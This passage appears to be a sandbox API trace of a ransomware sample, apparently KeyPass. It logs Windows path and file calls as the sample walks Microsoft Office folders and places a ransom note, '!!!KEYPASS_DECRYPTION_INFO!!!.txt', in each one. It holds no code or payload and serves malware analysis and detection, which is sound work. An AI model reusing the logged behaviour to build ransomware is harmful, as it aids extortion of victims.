[0275.265] GetLastError () returned 0x3f0 [0275.265] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.265] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.265] GetFileType (hFile=0x15c0) returned 0x1 [0275.267] CloseHandle (hObject=0x15c0) returned 1 [0275.267] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.267] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.267] GetLastError () returned 0x3f0 [0275.267] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.267] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Cyrl-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.268] GetFileType (hFile=0x15c4) returned 0x1 [0275.269] CloseHandle (hObject=0x15c4) returned 1 [0275.269] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.269] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.269] GetLastError () returned 0x3f0 [0275.269] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Latn-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.269] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.270] GetFileType (hFile=0x15c8) returned 0x1 [0275.271] CloseHandle (hObject=0x15c8) returned 1 [0275.271] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.271] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.271] GetLastError () returned 0x3f0 [0275.271] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.271] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.272] GetFileType (hFile=0x15cc) returned 0x1 [0275.272] CloseHandle (hObject=0x15cc) returned 1 [0275.273] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.273] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.273] GetLastError () returned 0x3f0 [0275.273] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.273] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.274] GetFileType (hFile=0x15d0) returned 0x1 [0275.274] CloseHandle (hObject=0x15d0) returned 1 [0275.275] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.275] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.275] GetLastError () returned 0x3f0 [0275.275] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.275] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.276] GetFileType (hFile=0x15b0) returned 0x1 [0275.277] CloseHandle (hObject=0x15b0) returned 1 [0275.277] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.277] GetLastError () returned 0x3f0 [0275.277] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.277] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.278] GetFileType (hFile=0x15d4) returned 0x1 [0275.279] CloseHandle (hObject=0x15d4) returned 1 [0275.279] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.279] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.279] GetLastError () returned 0x3f0 [0275.279] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\vi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.279] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\vi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.279] GetFileType (hFile=0x15d8) returned 0x1 [0275.280] CloseHandle (hObject=0x15d8) returned 1 [0275.280] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.280] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.280] GetLastError () returned 0x3f0 [0275.280] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-CN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.280] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-CN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.281] GetFileType (hFile=0x15dc) returned 0x1 [0275.282] CloseHandle (hObject=0x15dc) returned 1 [0275.282] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.282] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.282] GetLastError () returned 0x3f0 [0275.282] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-TW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.282] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\MSIPC\\zh-TW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.282] GetFileType (hFile=0x15e0) returned 0x1 [0275.283] CloseHandle (hObject=0x15e0) returned 1 [0275.283] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.283] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.283] GetLastError () returned 0x3f0 [0275.283] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.283] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.322] GetFileType (hFile=0x15e8) returned 0x1 [0275.323] CloseHandle (hObject=0x15e8) returned 1 [0275.323] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.324] GetLastError () returned 0x3f0 [0275.324] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.324] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.325] GetFileType (hFile=0x15ec) returned 0x1 [0275.326] CloseHandle (hObject=0x15ec) returned 1 [0275.326] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.326] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.326] GetLastError () returned 0x3f0 [0275.326] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.326] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.331] GetFileType (hFile=0x15f0) returned 0x1 [0275.332] CloseHandle (hObject=0x15f0) returned 1 [0275.332] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.332] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.332] GetLastError () returned 0x3f0 [0275.332] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.332] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Redshift\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.332] GetFileType (hFile=0x15f4) returned 0x1 [0275.333] CloseHandle (hObject=0x15f4) returned 1 [0275.333] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.333] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.334] GetLastError () returned 0x3f0 [0275.334] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.334] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.334] GetFileType (hFile=0x15f8) returned 0x1 [0275.335] CloseHandle (hObject=0x15f8) returned 1 [0275.335] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.335] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.335] GetLastError () returned 0x3f0 [0275.335] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.335] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.338] GetFileType (hFile=0x15e4) returned 0x1 [0275.339] CloseHandle (hObject=0x15e4) returned 1 [0275.339] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.339] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.339] GetLastError () returned 0x3f0 [0275.339] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.339] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.340] GetFileType (hFile=0x15fc) returned 0x1 [0275.340] CloseHandle (hObject=0x15fc) returned 1 [0275.341] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.341] GetLastError () returned 0x3f0 [0275.341] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.341] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\LibCurl64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.341] GetFileType (hFile=0x1600) returned 0x1 [0275.342] CloseHandle (hObject=0x1600) returned 1 [0275.342] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.342] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.342] GetLastError () returned 0x3f0 [0275.342] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.342] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ODBC Drivers\\Salesforce\\lib\\OpenSSL64.DllA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.343] GetFileType (hFile=0x1604) returned 0x1 [0275.344] CloseHandle (hObject=0x1604) returned 1 [0275.344] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.344] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.344] GetLastError () returned 0x3f0 [0275.344] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OneNote\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.344] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OneNote\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.344] GetFileType (hFile=0x1608) returned 0x1 [0275.345] CloseHandle (hObject=0x1608) returned 1 [0275.345] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.345] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.345] GetLastError () returned 0x3f0 [0275.345] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\osfFPA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.345] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\osfFPA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.346] GetFileType (hFile=0x160c) returned 0x1 [0275.347] CloseHandle (hObject=0x160c) returned 1 [0275.347] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.347] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.347] GetLastError () returned 0x3f0 [0275.347] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\OutlookAutoDiscover\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft 